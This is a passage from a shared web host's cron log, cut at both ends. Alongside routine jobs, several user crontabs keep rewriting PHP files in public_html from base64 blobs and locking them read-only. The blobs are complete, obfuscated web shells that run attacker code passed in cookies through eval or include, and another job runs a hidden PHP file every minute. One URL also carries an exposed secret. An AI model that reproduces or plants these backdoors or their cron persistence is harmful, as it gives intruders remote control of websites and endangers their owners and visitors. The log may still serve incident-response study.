gICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:27:01 medusa CROND[24670]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:27:01 medusa CROND[24672]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:27:01 medusa CROND[24673]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:27:01 medusa CROND[24674]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:27:01 medusa CROND[24675]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:27:01 medusa CROND[24677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:27:01 medusa CROND[24679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:27:01 medusa CROND[24682]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:27:01 medusa CROND[24680]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:27:01 medusa CROND[24685]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:28:02 medusa CROND[26279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:28:02 medusa CROND[26280]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:28:02 medusa CROND[26281]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:28:02 medusa CROND[26282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:28:02 medusa CROND[26283]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 12:28:02 medusa CROND[26285]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:28:02 medusa CROND[26286]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:28:02 medusa CROND[26287]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:28:02 medusa CROND[26289]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:28:02 medusa CROND[26288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:28:02 medusa CROND[26294]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:28:02 medusa CROND[26296]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:28:02 medusa CROND[26299]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:28:02 medusa CROND[26304]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:29:01 medusa CROND[27916]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:29:01 medusa CROND[27917]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:29:01 medusa CROND[27918]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 12:29:01 medusa CROND[27919]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:29:01 medusa CROND[27920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:29:01 medusa CROND[27922]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:29:01 medusa CROND[27923]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 12:29:01 medusa CROND[27925]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:29:01 medusa CROND[27927]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:29:01 medusa CROND[27929]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsK